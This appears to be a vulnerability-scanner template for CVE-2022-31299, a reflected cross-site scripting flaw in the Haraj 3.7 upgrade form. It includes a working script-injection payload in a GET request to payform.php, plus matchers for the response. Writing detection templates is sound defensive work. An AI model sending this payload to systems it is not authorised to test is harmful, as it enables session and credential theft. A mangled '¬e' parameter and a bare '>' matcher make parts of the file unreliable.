id: CVE-2022-31299 info: name: Haraj 3.7 - Cross-Site Scripting author: edoardottt severity: medium description: | Haraj 3.7 contains a cross-site scripting vulnerability in the User Upgrade Form. An attacker can inject malicious script and thus steal authentication credentials and launch other attacks. reference: - https://github.com/bigzooooz/CVE-2022-31299 - https://angtech.org - https://nvd.nist.gov/vuln/detail/CVE-2022-31299 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-31299 cwe-id: CWE-79 metadata: verified: "true" tags: cve,cve2022,haraj,xss requests: - method: GET path: - "{{BaseURL}}/payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1¬e=%3C/textarea%3E%3Cscript%3Ealert(document.domain)%3C/script%3E" matchers-condition: and matchers: - type: word part: body words: - '>' - 'content="nextHaraj' condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # Enhanced by mp on 2022/09/22